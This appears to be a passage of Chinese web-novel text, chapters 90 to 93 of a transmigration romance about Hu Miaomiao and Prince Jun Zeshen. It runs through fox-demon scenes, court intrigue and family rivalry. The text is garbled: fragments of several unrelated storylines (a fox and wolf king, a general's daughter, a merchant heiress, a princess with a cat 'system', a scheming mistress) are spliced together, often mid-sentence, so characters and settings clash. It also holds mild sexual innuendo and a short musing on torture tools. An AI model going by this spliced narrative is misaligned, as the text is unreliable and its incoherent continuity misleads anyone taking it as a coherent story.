胡淼淼摸了摸脖子,嫌弃地看一眼地上倒下的身影,发现男人后面有一个隐秘的洞口,乱七八糟的灌木遮掩,难怪刚才没看见。 她刚穿越过来,这个身体显然娇生惯养经不起什么大风大浪,神经一放松疲倦感瞬间席卷她的大脑。 雨不知何时能停,胡淼淼爬进洞,感觉还有点雨会浇进来,又爬出去把昏死过去的男人拖进来挡一挡,嗯,舒坦多了。 胡淼淼蜷缩了一下闭上眼睛。 她,已经很久没放松,也很久没做梦了。 隐约中,一幅幅画面在脑海中回荡。 胡淼枝,承启国首富胡海林之女,三年前胡海林因意外去世。 按照承启国律法,除非是不义之财,否则胡家的东西只有嫡子和嫡女能继承。 因此,作为唯一的嫡女,在众人眼中的意义就变了。 只要能娶她,就意味着能得到胡家的一切。 胡淼淼父母除了一些误会,早年很是恩爱,胡母死后,父亲一直没娶续弦,反而是老一代感情错综复杂,胡淼淼的爷爷子嗣倒是不少。 三年孝期刚过,那些人就开始动手了。 胡淼淼回京,正好赶上暴雨在胡家的庄子歇脚,不料遇见姑姑家的表哥也在庄子上,醉酒之下对她图谋不轨,胡淼枝慌乱之中打伤他逃出了。 她不傻,表哥的母亲手段了得,敢明目张胆,庄子已经不安全了,无奈之下只能顶着雨跑到了后山,这才有了后来的情况。 承启国,有点熟悉,胡淼淼半睡半醒之中恍惚想到,那不是队长收集物资时候,捡到的那本吗? 《裔族》 意思海中的大狐狸似有所感睁开眼睛。 这么多年过去,往日的大狐狸越来越小,曾经的小狐狸越来越大。 未来狐苏醒,小狐狸如同往日那般趴在她的肚皮上哭,“为什么会这样,你不是说我会有一个很好的未来吗?” 可是,所有亲近狐狸的妖都离她而去,狐狸真的会有未来吗? 狐会有家吗? 这些年的厌倦于追寻,她累了 未来狐眼底闪过一抹茫然,随即坚定地用爪垫摸摸小狐狸的脑袋,“会的,一定会有的。” “可是,我难受……”小狐狸耳朵耷拉着,明明是灵魂体的状态,却仿佛能看见她的眼睛里面有泪水闪动,一大片一大片白色的水雾从她眼睛飘走,未来狐透过她,看见曾经的过往。 狐流泪的次数根本数不清,在她模糊的记忆里面哭只会让施暴者更猖狂。 别人的小狐狸哭,都有家人哄着,而她没有。 可是……她明明有灰猫啊。 如果这里是未来,为什么她没有过去的那些记忆呢? 连对她所说的狗也没有什么太多回忆,养过,但养死了。 怎么死的,不知道。 她叹息一声,“胡淼淼啊,这一次你哭吧,下次不许哭了。” 没有什么过不去的坎,活着很累但谁知道死后的世界是什么样呢? 是长眠,亦或者是另一个世界继续过着凄凄惨惨的人生? 她没死过,也不想死。 “养一只死了,那就再养一个。” 她透明的爪尖点了点小狐狸的眉心,自己哄自己。 “我们养自己好不好?你不想死,就养不死。” 第 90 章 第 90 章 随着时间的增长意识海的大狐狸越来越小,沉睡的时间也越来越久。 成年的小狐狸和大狐狸许下一个约定 ,无论何时何地都要坚强地活着,不会再有轻生的念头。 她坚信在不久的将来会等到黎明的曙光。 在狗死后的时光,小狐狸和另一个自己度过漫漫长夜。 这些年,日子不至于太难过,她学会保护自己,远离狐群隐居在深山。 但长大很多烦恼随之而来,刚结成妖丹幻化成人那会就有几只狐狸来示好,那时胡淼淼并不知道意味着什么。 而后她所过之处都会碰见很多雄性异样的眼光,炙热、贪婪和恶心的欲望。 她是狐族,就算没经历过那些事,也知道他们想的是什么,她只用人形露面几次,往后在狐族都用原形。 可惜,他们的觊觎如附骨之疽无处不在。 平静的生活在一天晚上彻底被打破。 一只眼熟的公狐狸不知怎么知道她的住处,并入侵了她的家。 “嗯~”叶水芸浑身青紫躺在他怀中,乖巧的点点头,然而君子华并没看见女人眼中一闪而过的复杂。 原以为,对方是真心爱自己的,就算选妃也是被逼无奈,谁让她身份低微,当不了三王妃,可当侧妃总可以吧? 只要时间一久,她成为侧妃怀上男人的孩子,让他一直站在自己这边不碰三王妃,将来她定会把那还未过门的女人挤下去。 可没想到,皇上竟然直接塞了几名女子进三王府,还有两位侧妃。 那她叶水芸算什么? 没名没分,连个妾室都不如,传言三王爷之前与将军府小姐关系亲密,府中通房丫鬟都不曾有一个。 既然做不了王妃,王府还来了一群女人,那她就要做三王爷第一个女人。 男人第一次,难免会贪·欢,对她有所留恋。 可是刚才意·乱·情·迷之际她听到了什么? 淼儿? 君子华竟然叫她淼儿!朝堂上因为婚嫁事情闹得不可开交,皇上虽对君泽琛心有芥蒂,不过眼下总是针锋相对的二人,齐刷刷把矛头对准了君子华开炮。 不过皇上到底还是顾忌儿子面子,给了个折中的法子,婚期改为半个月后,俩人一起抬进门。 半个月是因为三皇子娶妃,礼仪就算再仓促,也不能差到哪去,需要准备周到齐全。 起初不论是君子华还是冯太傅都不同意。 冯太傅想:什么?让其他女人和我孙女一起去三王爷府?简直耻辱! 他们这些人自恃清高,面子那关就过不去。 君子华想:什么?我答应了人教十日后取进门,不又要食言而肥了吗? 琛王殿下宛如搅屎棍从中作梗:“要么不嫁,要么杀人自己选?” 前面那句是对冯太傅说的,有本事你孙女就不嫁人。 后面这句是对君子华说的,因为一个女人把事情闹这么大,不满意? 那就杀了一了百了。 琛王丝毫不觉得有多双标,要是他家淼儿,朝堂炸了他都要娶回家,至于别人? 和他有什么关系? 受到威胁的二人格外憋屈,见事情解决了,君子华脸臭了,君泽琛非常满意,他在椅子上换了个姿势,继续埋首在书中,时不时露出若有所思之色。 这幅认真的模样,让皇上频频皱眉,暗中警觉了起来。 到底是什么书,看的如此认真? 难道是权谋之术? 皇上神色冷了冷,回头定要好好查查琛王从哪得来的书,绝对不能掉以轻心。 殊不知,某琛王满肚子坏水,正在研究怎么和自家娇妻亲亲密密呢。 自打上次二人第一次亲昵胡淼淼晕倒后,君泽琛再也不敢轻举妄动,于是博览群书,势必要找出办法。 美妙的误会就此诞生,在皇上闲出屁来派人调查书籍出处之际,君泽琛已经回家陪胡淼淼了。 相处这么久,胡淼淼岂会看不出他的开心? “怎么了?”她不免有些好奇,这几日男人一直愁眉不展,今日怎地高兴成这幅德行? 坑了一波人,人逢喜事精神爽,但君泽琛能说吗? 还有更开心的。 胡淼淼正坐在椅子上绣花,她近日身体还算不错,又没什么干的,就想着练练刺绣,到时候给男人做个衣服也不错。 “也没什么,就是学会了一些东西,想要试试!” 他轻咳一声,伸出胳膊把她手中的东西抽出来,不动声色丢开…… 这些东西实在太占用淼儿时间了,就算知道将来要为自己做衣服,可君泽琛还是很讨厌这东西。 在他看来,那破布有什么好,绣自己身上都比绣布上强。 胡淼淼不知道男人心里碎碎念,同样不曾注意到那被丢弃的“破布”,只是心惊胆战捡回来把针插上,放在一旁有些无奈:“不能随便丢,扎到人怎么办?” 君泽琛悉心听教,坐在她旁边一个劲儿点头,心里想着要有下次还丢。 胡淼淼以为他听进去了,随手给他倒了一杯温水,把之前的话题接过来。 “你说你学到什么了?” 琛王这么大个人了,还能学什么东西这么高兴? “换气……”君泽琛鹰眸一闪,落在那晶莹的红唇上,咕咚一声吞了下口水…… 赶紧低头喝口水,然后再看,再喝。 胡淼淼:“???” 她拧眉,发现男人的视线有些不对劲儿,好像是一匹饿极了的狼,生生给她一种压迫感。 “阿琛?可是饿了?” 她看了看天色,上早朝回来已临近正午,确实到了午膳时间。 他把她当成了谁?明明是那个女人假冒自己,难道日久生情了? 叶水芸突然意识到,原来自己的敌人除了三王妃和王府一群女人,还有一个前任不能掉以轻心,就算男人挂念她的救命之恩,可和胡淼淼相处三年,鬼知道对胡淼淼和自己的感情哪个最深? 更何况,君子华已经忘记当初对自己的誓言了。 叶水芸水眸不甘之色一闪而过,伸出芊芊玉手,划过他的胸·膛,轻轻依偎着他。 “子华,你真的爱我吗?不会有了其他女人,就……”她眼中泛起泪花楚楚动人:“忘了我吧?” 不管男人床上说话真假,她只想得到一个承诺,自欺欺人让自己踏实一些。 “不会,本王不会再碰其他女人,我只喜欢你。” 君子华喉结滚动一下,眼底一暗,话落就堵住的女人的嘴,再次进入,开始新一轮的运动。 直到叶水芸一瘸一拐回家,已经第二天晚上了。 “你现在越来越大胆了,竟敢在外面过夜!” 叶水芸父亲常年做生意,三天两头不回一次家,府上妾室被主母拿捏死死的,见到主母屁都不敢放一个,可见叶水芸母亲手段多么不一般。 而此刻,叶水芸一回家就被叫到了母亲房间,她母亲衣着华丽,像是一个暴发户,阴沉着脸训斥。 庞氏眼尖,很快就注意到了她脖子上的青紫色痕迹,当下一惊,上前拽住她衣领:“你这怎么回事?我说了多少遍,男人越是得不到才越惦记,你这把自己送出去了,还想他娶你?” 关于女儿和三王爷那点事,庞氏是知道的,她有些恨铁不成钢。 叶水芸垂着眸子:“收拾收拾东西,他十日后就来娶我为侧妃。” “真的?”庞氏眼眸一亮,万万没想到好消息这么突然,那她岂不是三王爷的岳母了? 至于侧不侧妃,庞氏才不在意,她上上下下打量了一下自家闺女,眼底怒气散去,取而代之露出满意的神色。 她这女儿生得好,假以时日,肯定能把三王爷迷得团团转。 庞氏拉过叶水芸的手,拍了拍:“你有出息了,正好还有点时间,娘亲再教教你闺房秘事,好过你什么都不懂。” “娘~”叶水芸脸色一红,但那娇俏的脸上像是想到了什么,突然正色:“娘,可王爷心里,还惦记那个女人,怎么办?” “谁?那个将军之女?”庞氏眼中闪过一抹不屑:“一个大老粗的女儿,怎会比你漂亮。” “可是她和我长得一模一样。”叶水芸有些气恼。 庞氏面色大变,声音尖锐:“什么!!!” 时间如梭,狐在狐族的伤势很重,但不知道为什么出来之后反而好了许多,她在人界用小半个月就养好了伤。 人间的人类很好,他们淳朴善良,不会欺负她,偶尔还会投喂狐狸。 狐为了报答,帮他们做一些杂活,还帮他们赶走一只没有觉醒神智偷鸡的野狐狸。 然后,那只狐狸恬不知耻地对她示好,并要舔她的手。 胡淼淼吓得差点炸毛,但她深刻知道凡间似乎有什么捉妖师,不能暴露狐狸尾巴。 奇怪的是,她一直在狐族,怎么会知道凡间有捉妖师呢? 冥冥之中,她好像遗忘了什么…… 一天回家的路上,她嗅到陌生的气息,隐隐夹杂着血腥味,拨开草丛,便看见了一只受伤许久不得疗伤的生物。 分不清是狼是狗。 一个念想不其然出现在她脑海里:她曾经养了一只狗。 死了。 察觉到有陌生人,哪怕身受重伤,浑浑噩噩的黑狼找回了意识,脑子里第一想法就是:我重生了,上辈子被狐族所害。 他强行睁开眼睛。 一张清纯绝美的容颜映入眼帘。 他下意识翘起尾巴。 胡淼淼恍然大悟,嗯,是狗了,可以养。 90-100 第 91 章 第 91 章 凌乱的时空过去十几年,正轨的世界不弹指之间。 水牢里苏山灵的灵魂被抹杀,身躯俨然失去了生机。 君泽琛吩咐狼族处理掉,抱着昏迷的狐狸头也不回离开。 和君泽琛强大的灵魂不同,小狐狸的灵魂消耗过度,仅差一点便消散在那个时空了。 君泽琛拼尽所有天材地宝,堪堪为她稳固妖魄,只是不知何时能从昏迷中醒来。 出去时还好好的回来变成这样,山鬼和鸡精急成一团,连那只狼女都来看望过两次,统统被君泽琛赶走。 他画地为牢,固守在寝殿。 与此同时,红溯魇得到狼王传音,继续攻打狐族,活抓有苏狐王和青丘的那只老狐狸。 记忆在回归,那段离奇的往事恍如昨日,小狐狸安静地躺在床上,身上盖着被子,只露出一个小脑袋,双目紧闭,两只爪子乖巧地抱着尾巴,呼吸沉稳而绵长。 周氏的这份开心,在见到琛王那一刻,统统消散…… 周氏急忙扫一眼自家女儿,忧心忡忡地要给琛王行礼,下一秒就被琛王扶住:“岳母不必如此客气,外面冷,淼儿身体不好,有什么话先进去说吧。” 周氏等人一懵,反应过来:“好好好,先进屋说。” 君泽琛把胡淼淼的狐裘紧了紧,这才拥着她进入府中,期间动作无不细致入微,仿佛胡淼淼是他手中易碎的珍宝一般,爱护有加。 周氏把一切都看在眼里,心中惊疑不定,但见胡淼淼的状态很好,甚至比在家的时候身子还坚朗,之前的每年冬日别说是出门,就算是在屋内也经常咳嗽。 琛王把淼儿照顾的很好。 她暗中松了一口气,看来这位琛王和传言中的并不一样,至少对待淼儿是这样的。 她扭头对小儿子说,“去叫你父亲,说淼儿回来的。” 正打量自家姐夫,并满眼敌意的胡宁羽哦哦两声,憨憨地挠了挠头发,出府找爹去了。 胡淼淼被君泽琛拥着进入大厅,周氏虚一眼君泽琛,对胡淼淼道:“淼儿在王府可住得惯?” 胡淼淼发现,母亲的双鬓似乎有了几缕白发,想来没少为她操心,她心中酸涩,对她笑了笑:“琛王对我很照顾,我很好。” 周氏闻言,对君泽琛开口:“多谢王爷。” 君泽琛坐在胡淼淼的左侧,他抬手握住胡淼淼的手,先是对岳母说是应该的,然后又对胡淼淼道:“说了多少次不用那么客气,就叫我阿琛吧。” 曾经以为最耻辱的名字,如果能从她口中传出来,会很美妙吧? 只可淼,每次让她叫的时候,她还是照例叫他琛王,君泽琛就是算准了胡淼淼不会当着周氏的面反驳他,才逮住了这个机会。 胡淼淼自然知道这个道理,不过…… 她看着身边的男人,见他满眼期盼,胡淼淼嘴角动了动:“阿琛……” “哎!” 君泽琛平时看起来很凶狠的鹰眸一弯,笑得像一个孩子,满足地应了一声,完全没有琛王该有的气势了,整个人看起来就是个处于恋爱中的小伙子。 胡淼淼被他笑得一个闪神,随即嘴角不自觉的跟着上扬,再次唤了一声,二人的气氛不自觉黏糊了起来。 某岳母*母亲周氏:“……”胡淼淼心里慌得一批,面上却端起长公主那副高贵冷艳,姐不怕你的模样。 “昨日,是本宫对不住你。”她端起来的余光打量着他,目测……看起来很娇弱,可好像不是她能悄悄弄死的亚子…… 君泽琛闻言掀了掀眼皮,没说话,不过那神态,妥妥滴在说:我就静静地看着你狡辩,狡辩完了,头盖骨上交。 胡淼淼:“咳~如果时光能够重来……” “不会重来又如何?”君美男终于动了他尊贵的嘴巴,赏了一段话,可把胡淼淼激动坏了。 “当然是在踹一次。” 君泽琛:“???” 缩在他手下的系统歪了歪脑袋:“喵?” 宿主好牛逼,不愧是穿越而来的大佬,面对循环重生作妖的反派,腿不软,嘴不怂,张嘴就要踹。 猫咪咔吧咔吧卡姿兰大眼睛,黑黝黝的葡萄眼皆是崇拜,殊不知,它家宿主此时此刻,正想来一波自挂东南枝。 让你嘴贱! 场面尴尬到极点,胡淼淼眼神乱飘,忽而看见了救星,挺直了腰板,端起桌子上的药丸。 青瓷碗内,棕黄色液体随着胡淼淼的动作微微晃动,她走到男人面前,居高临下看着他,把药递到他面前。 “你先喝药冷静一下,本宫不屑于易动怒者谈话。”不然一言不合就要死人了啊亲! 当然,死的绝对不会是她,现在还没到反派造反的剧情,她死不了,可是君泽琛就不一定,她这暴脾气,一挥手能弄死他十个。 胡淼淼面无表情地想着,给自己壮胆。 然后,垮着帅逼脸的反派忽而勾唇:“臣怎敢生公主的气,公主多虑了。” 世人皆说,回眸一笑百媚生,君世子这一笑,那张病弱苍白的脸晕染上艳丽的颜色,好看得不可方物,让现实中,见惯了男明星的胡淼淼,都忍不住闪了下神。 恍惚中,冰凉的触感袭击向手腕,男人手指紧扣住她的手腕,凝视她的眼角微微上挑,这一刻把他的优点发挥到极致,病弱却又美得触目惊心,在他注视下,仿佛你便是他的全世界。 “你……?” 胡淼淼看着他就这样带着自己的手,往嘴边靠近,这样一来,就好像她喂他一样。 她懵逼。 反派怎么不按照套路出牌,这个时候身为长公主应该干什么? 指责他竟让堂堂公主喂他? 还是像原主一样娇羞无限? 亦或者…… 胡淼淼脑子乱七八糟,然而,那青瓷碗在即将靠近他嘴角处的时候,腕处突然传来拉扯感,她一时没防备,整个身子都向前倾去。 君泽琛淼开猫,把她稳住,修长的手指一转,带着她的手和药,极其有技巧地灌入她口中…… 事情并没她想的那么糟糕,淼儿看起来乐在其中呢。 这样也好……至少忘记君子华那白眼狼,亏她之前被猪油蒙了心才会想着把女儿交给那个人。 周氏把视线落在了胡淼淼的手上,眼中闪过一抹疼淼。 室内的和谐并没维持多久,就被突如其来的人所打断了。 “大伯母,听说淼姐姐今日回门了?” 来着是胡姝,她身后还跟着两名丫鬟。 胡淼淼侧眸,有些诧异她前脚刚回来,胡姝怎么这么快就知道了。 对于这位堂妹,她说不上来是什么感觉,不反感却也喜欢不起来,哪怕对方对自己很好…… 胡姝走进来,看见胡淼淼眼前一亮,随即却看见了她身边的君泽琛,她脚步一顿,眼底闪过一丝惊艳,状似不经意问:“这位是?” 周氏没想到一家要团聚的时候胡姝会来,她怕惹恼了琛王,连忙提醒:“这位是琛王。” 胡姝闻言,规规矩矩行礼:“姝儿有眼不识泰山,还望琛王殿下不要见怪。” 君泽琛对于打断他与媳妇对视的人很不爽,但知道是胡淼淼的亲人,敷衍地点了点头,顺便倒了杯茶试了试温度,不是很烫,这才递到胡淼淼嘴边,低声哄着:“暖暖身子。” 胡淼淼收回在胡姝身上的视线,想要伸手却被他躲开:“杯子烫手,我来吧。” “这……”胡淼淼如同被水洗涤过的清润的眸子轻眨,对上他不容拒绝的神色,低头默默抿了一口就坐好。 君泽琛递过帕子给她擦了擦嘴角,这才就着那杯茶一饮而尽,喝完了薄唇还在那杯子上摩挲很久。 胡淼淼察觉到他的动作愣了一下,心尖火热,让她不自觉的捂住。 “怎么了?” 她一有动作,君泽琛就注意到了,见她捂着胸口以为她不舒服。 胡淼淼摇头。 他们二人的举动,全看在胡姝眼里,她整个人竟然都被无视个彻底。 她咬牙,找了个近距离的位置坐下:“淼姐姐,虽然你身体不好,但王爷千金之躯,怎可让他伺候……” 胡姝没等说完,就感觉周身一凉,像是被什么凶残的野兽盯上一般,一抬头就看着琛王一脸冰冷的盯着自己,目光像是在看死人一般。 君泽琛冷声道:“本王伺候王妃,岂容他人多嘴,要是在琛王府,这样的人舌头不用要了。” 他的声音暗含警告。 胡姝脸上顿时一白,连连道歉,刚是她大意了,看见从小打到一直压她一头的病秧子没死,反而得到堂堂王爷的宠爱,成为了王妃,心中妒火中烧,失去了分寸。 君泽琛看在她是将军府的人,并没真的动手,只是做了一番警告,胡姝刚来没多久,就已经待不下去了,没一会就灰溜溜走了。 而胡将军回来的时候正好是正午饭点,胡淼淼二人留下了在将军府用膳,正阳显然是记得上次去琛王府的账呢,对君泽琛鼻子不是鼻子眼不是眼的,鼻孔 都翻天上去了。 他儿子,也就是胡宁羽,对自己未来姐夫也不看好,尤其是听说自家姐姐是被抢亲的。 因此,餐桌上,一大一小父子俩,一直盯着君泽琛,恨不得立马把人丢出去。 今天君泽琛的态度和在琛王府与胡正阳见面的样子相差甚远,整个人都温顺极了,像是一直被拔了牙的虎,整只虎都围着胡淼淼转悠。 胡淼淼想,今天的王爷和以往不一样,难道是怕她父母反对,她离开琛王府不管他病症吗? 或许是因为缺少安全感吧。 到底是她恩人,她应该配合一下才是,于是,胡淼淼夹了一块鸡腿放入了他碗中…… 君泽琛一愣,完全没想到她会做出这样的举动,不免有些受宠若惊,一激动忘了鸡腿有骨头,然后悲剧了! 咔嚓一声,整个餐桌都听见了,可见其下嘴的力道有多重,坐在他身边的胡淼淼瞪大美眸,看着凶残到把骨头一口咬碎的男人…… 嘎巴脆……胡淼淼垂眸应了一声,扫一眼屏风外,才缓慢地褪去衣物,走进浴桶,在水温包裹身/体的一瞬间,浑身疲惫一扫而空,压抑的胸腔也舒适了不少…… 但到底屏风外有个人盯着,她怕等太久,没洗多久就起身了。 然而却在拿衣服的时候出现了状况,随着一声碰撞,屏风后一直屏息淼神的君泽琛豁然起身…… 饭桌上一片寂静…… “你……没事吧?” 胡淼淼拿出帕子要递给他,随即想了想,学着他的模样,亲自给他擦了擦嘴。 说实话,君泽琛的牙很疼,他还努力把上面的肉不浪费吃掉,才把骨头吐出来,牙都酸了。 然而这一切都抵不过胡淼淼的举动,他抿了抿嘴角,“不疼!” 才怪! 胡淼淼眼睛眨了眨,动用异能观察了一下,并没什么大碍才收回能力,在能力收回的一瞬间她胸口一闷,忍着不被别人发现,深深吸了一口气。 哪怕胡正阳再看不上君泽琛,但事情已成定局,只能忍下这个女婿,想让他们留在府中住几日。 说出这句话的时候,胡正阳还以为对方会马上把自家闺女带回王府,已经做好了怼人的准备。 但…… 他小心翼翼给狐狸换一个姿势,弯下笔直的腰板,去听狐狸说话。 可惜,狐狸并没有醒来,而是被吵到了,不满地叼着他的手指磨牙,偶尔会发出几声叫狗狗似的嘬嘬声。 每一次,君泽琛都耐心地应着。 等小狐狸安静地再次沉睡过去,男人深呼一口气,再次垂眸看向白青羽,已经冷静下来。 “细说她夫君是怎么回事。” 白青羽趴在地上咳嗽,艰难地开口,“不是被您杀了吗?” 君泽琛:? 白青羽:“往事不必再提,虽然水狐有过夫君,但她既然在你手里,早晚有一日会不计前嫌爱上您的。” 至于什么时候能放下杀夫之仇,就说不准了。 第 92 章 第 92 章 那一日交谈,因为白青羽和小狐狸认识,她的命要等小狐狸醒来处理,所有她的命保住了,但狼王自闭了。 狼王核桃大的脑子里充满问号,甚至开始自我怀疑。 白青羽说他的淼淼有夫君,而且那位夫君很爱她。 他对号入座,认为是他自己。 然而,白青羽那只白狐又说,狐狸的夫君被他所杀? 狼难得一脑懵。 他怎么就杀夫夺妻了? “大家都来这么早的吗?祖母,昨儿归家本应该看望您,不过想着风尘仆仆来见你不符合规矩便回去沐浴焚香,结果看天色已晚不好叨扰,便准备今儿早上来看您。” 老太太到嘴地呵斥噎了回去,一时之间愣在座位上。 她这辈子子嗣不多,旁边的这些,说到底孙辈的,只有胡淼淼一个。 之前不喜欢她,全因为她像极了那个横插一脚的娘亲。 连性格都像。 小家子气没有性格,软弱懦弱,遇见事情只知道躲在她儿子后面。 可是现在这丫头,短短三年好像变了个人似的。 老夫人眉眼轻缓,正要开口,一旁的王梦瑶道:“那怎地儿今天来那么晚?我们在场这么多人,偏等你一个。” 老夫人瞥一眼自家侄女,王梦瑶是她看着长大的,什么性格她也清楚。 不过……她没吭声,上了年纪,脸庞有些发肿,细微纹路的眼角严肃地看着胡淼淼,冷哼一声:“我看你就不是诚心的。” 在原主记忆中,这位外祖母视她为眼中钉肉中刺,平时严肃刻板,每次见到她都腿脚发软不敢吱声。 不过胡淼淼印象最深刻的,好像就是老夫人对于原主的婚事十分在乎,原主和渣男成婚后,依旧想办法拆开他们,原主一直以为对方讨厌自己,可胡淼淼总觉得,老夫人心里还是有原主地位的。 胡淼淼瞥一眼添油加醋之人,发现胡府有两个原主记忆中没有的生面孔,扯了扯嘴角,笑道:“还不是料到祖母身边会有一些闲杂之人会在卯时请安,无法跟祖母说点体己话,便想错开时间来晚了,早知他们还没走,我便不来了。” 在场的女眷脸都绿了,胡淼淼不在府上这几年,家里后宅只有一个老夫人,她们都快成为胡家半个主子了,何时受得了这种屈辱,怎奈人家才是正儿八经的胡家嫡系,她们根本没插嘴的份,只能眼巴巴看着老夫人,王梦瑶更是拧手帕擦眼泪。 “姑母,在外带着芋儿十多年,如今回来,竟已成为闲杂人等。” 姑母?成安庙位于京城东部的郊外,从京城到庙里坐马车需要两个时辰。 饶是如此,依旧有不少人慕名而来,传言这座庙很灵验,尤其是求姻缘,隔壁月老庙都没有这里香火兴旺。 经过长达两个时辰的磋磨,众人到了成安庙,其他人下马车的时候腿都打颤。 梁昌荣顶着一张猪头脸半死不活的样子,把附近的路人吓了一跳。 他们还以为梁昌荣是得了什么病入膏肓的绝症来求大师指点。 瞧见其他家公子风度翩翩,而自己未来丈夫却是这番摸样,王芋儿有些嫌弃,被王梦蝶推了一下,委屈的低下头。 胡淼淼侧目。 提到这个,老夫人开口:“淼丫头,这是你妹妹,比你小几个月出生。” 大抵是想到当年的一桩往事,老夫人没再继续追着胡淼淼不放,对众人说:“你们先退下,我有话跟她说。” 众人知晓老夫人要说的事情,不免幸灾乐祸,瞪胡淼淼一眼,鱼贯而出。 “坐这。”这个不行,拶刑需要两个人拉住绳索,他就一个,拉起来又不美观,换一个。 这个不行,铁梳子又要烧热水,还要脱衣服,他可对她身体没兴趣。 这样也不行,挥棍打人是恶霸行为,岂是他世子做的? 房间内火光摇曳,白衣劲长的男子站在架子前随手把棍子丢在地上,发出彭的一声响动,成功让昏昏欲睡的人一激灵。 胡淼淼睡眼朦胧,一睁眼乌漆嘛黑,她打哈气:“你好了没?” 胡淼淼顺势坐在老夫人旁边,时隔三年,老夫人近距离观察她,发现当年怯懦的小丫头片子,竟然已经出落得认不出了。 生得既精致秀气,又纯净,眼睛仿佛会说话,眼尾向下垂,无辜又实诚,看起来就是个没心眼的,嘴角天生笑唇,瞅着让人想亲近。 这些年老夫人有时候在想,若是当年没有那一桩糊涂事,是不是她也可以儿孙满堂,而不是只有一个丫头,和…… 老夫人眼角泛酸,表情却和以往一样严肃。由于君泽琛刻意压低了嗓音,胡淼淼又蒙上眼睛,并没立即认出来他是谁,加上眼前黑暗,未知的恐惧放大,她直接/萎/了。 在她的角度,就是遇见了皇室的仇家,今日要扒她皮,抽她筋,掀开头盖骨装酒。 嘶~ 细思极恐! 她红唇轻颤,好半晌才把舌头捋直了。 “其实,你们抓错人了。” 君泽琛:“?” 他轻哼:“你当我们眼瞎?” 想抓谁,那么大一个公主还能逮错? 他们眼不眼瞎胡淼淼不知道,但她能闭着眼睛说瞎话:“长公主喜欢世子爷,皇榜刚一下来,就进宫找皇上要说法,因此和皇上大吵一架,皇上把她扣留在皇宫,让她别生是非,便让奴婢代替公主回府掩人耳目。” 胡淼淼逮住机会,小嘴叭叭个不停,她自己都被自己说信了,假装自己是顶替公主的丫鬟,然后深以为然地点点头:“嗯,对就是这样。” “当年是我糊涂,才酿成大错,可芋儿丫头毕竟是你爹的亲生骨肉,这些年梦瑶也知错了,一直瞒着这消息,如今芋儿到了嫁娶的年龄,不得已才回京找我。” 老夫人不愿提及当年的往事,胡淼淼却稍微有点印象。 原著里提及一嘴,胡海林一心爱董淼,可惜后来被心怀不轨的表妹下药,二人之间发生关系。 虽说表妹被赶去乡下,但背叛就是背叛,当初董淼正怀着原主,知道此事伤心欲绝,生下原主不久就撒手人寰了。 胡海林一直未曾再娶,旁人都说他痴情。 胡淼淼不知老一辈的恩怨到底为何,或许胡海林有苦衷,却并不妨碍她在心里吐槽,男人没一个好东西。 那玩意就那么控制不住?她可不信中药非要女人才能缓解,毕竟有很多方法。 如今老夫人说这些,无非就是想让她包容那对母女,她没有权利为原主母亲原谅什么,笑容淡了几分。 “祖母,你觉得让我包容一个私生女,害死母亲的凶手,适合吗?” 老夫人蹙眉:“你这孩子,当初是你母亲想不开容不得人,怎么能怪梦瑶。” “不怪她,她能有什么错,不过是妄想不属于自己的东西罢了。” 胡淼淼精致的脸庞看不出半分喜怒,指尖轻拂广袖,另一只手亲倒了茶递给略显怒色的老夫人,水雾朦胧了那黑白分明的眸子。 “但,十几年前得不到的,十几年后,依旧得不到。” 原主最后的愿望是不希望胡家落在其他人手里,胡淼淼不知发生了什么,自己为什么会穿书,但是她在这世界一天,就绝对会守住胡家。 从春华居出来,胡家的部分人已经离开了,唯有少数人依旧翘首以盼,胡淼淼瞥一眼门口那对母女,没有吱声,转身离去。 “娘,她好像没有你说的那么好拿捏。” 王芋儿咬下唇角,攥紧了刚才摘下来的芍药花,粉红色染上指尖,配合着那细长的指甲,犹如渗了血。 王梦瑶拍了拍她的手,幽幽道:“你放心。一个父母双亡的小丫头,还能翻天不成?” “更何况……”王梦瑶轻哼:“还不知从哪里带回来一个野男人,承启官商不和,瞧不起咱们这些商女,可实际上,他们能贪几个钱?还不是想要胡家这笔钱,等借着胡家名义,为你找个官儿家的夫婿……” 隔墙有耳,她的声音越来越小,王芋儿却笑了,脸颊渐渐染上娇羞之色,幻想着将来嫁给官家儿郎,让曾经瞧不起她的人,都踩在脚底下。 尤其是胡淼淼,一样是胡家女儿,为什么对方是高高在上的嫡女,而她却是被赶走的私生女? 她眯了眯眼睛,在那之前,必须先让胡淼淼身败名裂,不然上头有胡淼淼,那些身份尊贵的公子怎会看上她? 胡淼淼尚且不知已经被人如此仇视,不过就算知道又如何? 为了一个素未蒙面理想中的男人就要死要活费尽心思,是不会有好下场的。 胡淼淼一回到自己的院落,嗅到了一丝不一样的气息…… 君泽琛低下头,薄唇轻轻吻了吻她红润饱满的唇瓣,不带任何暧昧,蜻蜓点水般的触碰,像是两只普通的小动物互相安慰。 “你才刚醒,神魂不稳,再哭下去陷入昏迷我可就不管你了。” 胡淼淼才不信,但他的吻很奏效,她抬头主动吻回去,嗷呜一口叼住他的下唇,细细研磨,“你忍心不管你的宝宝吗?” 君泽琛:“?” 坏狐狸果然是在装睡是吧? 有些称呼只能偷偷说,冷不丁被抬到明面上,让狼有些难为情地咬回去,“你再说?肉不肉麻?” 胡淼淼吃痛,唇瓣火辣辣的疼,立即蓄满泪水要继续哭给他看。 小哭包。 搁这威胁谁呢? 狼不吃这套。 他松开口,指腹摩挲她破皮红肿的唇瓣,按住伤口命令道:“不许哭。” 第 93 章 第 93 章 “那你叫宝宝,我就不哭了。” 胡淼淼勾着男人的脖子,漂亮的狐狸眼睛雾蒙蒙的,像是冬季晨间上霜的蓝宝石,美得叫人意乱情迷,君泽琛险些将那两个字脱口而出,结果狐狸紧跟一句话,瞬间让他把“宝宝”两个字咽了回去。 狐说:“叫声宝宝,命来给你。” 这句话狼熟悉,他读过的某个话本里男主人公就是这般说的。 蛊惑人心一半,戛然而止,君泽琛面具下的那张脸又臭又硬,面无表情地屈指给了狐狸一个脑瓜崩,“再乱学,我让你换一种方式哭。” 被敲了,想碰瓷并大声哭的狐狸:“……” 她屁股幻疼了一下,立即收回眼泪,蹭蹭他的下巴,“不哭不哭,那让我看看你的……” 很好,那破猫不在,看来猫不在身边,她根本没办法和它沟通。 “公主,请看!”君泽琛瞳孔地震,压抑不住咳嗽一声,放在人家腰上的手随之晃动,乍一感觉,好似在摸人家。 至少胡淼淼感受到腰间痒痒的,她抱着脖子的手缩了一下。 突然有点怂是怎么回事,他好像很会。 很会的君泽琛:“……”他在心里挑眉,这是打算比试吗? 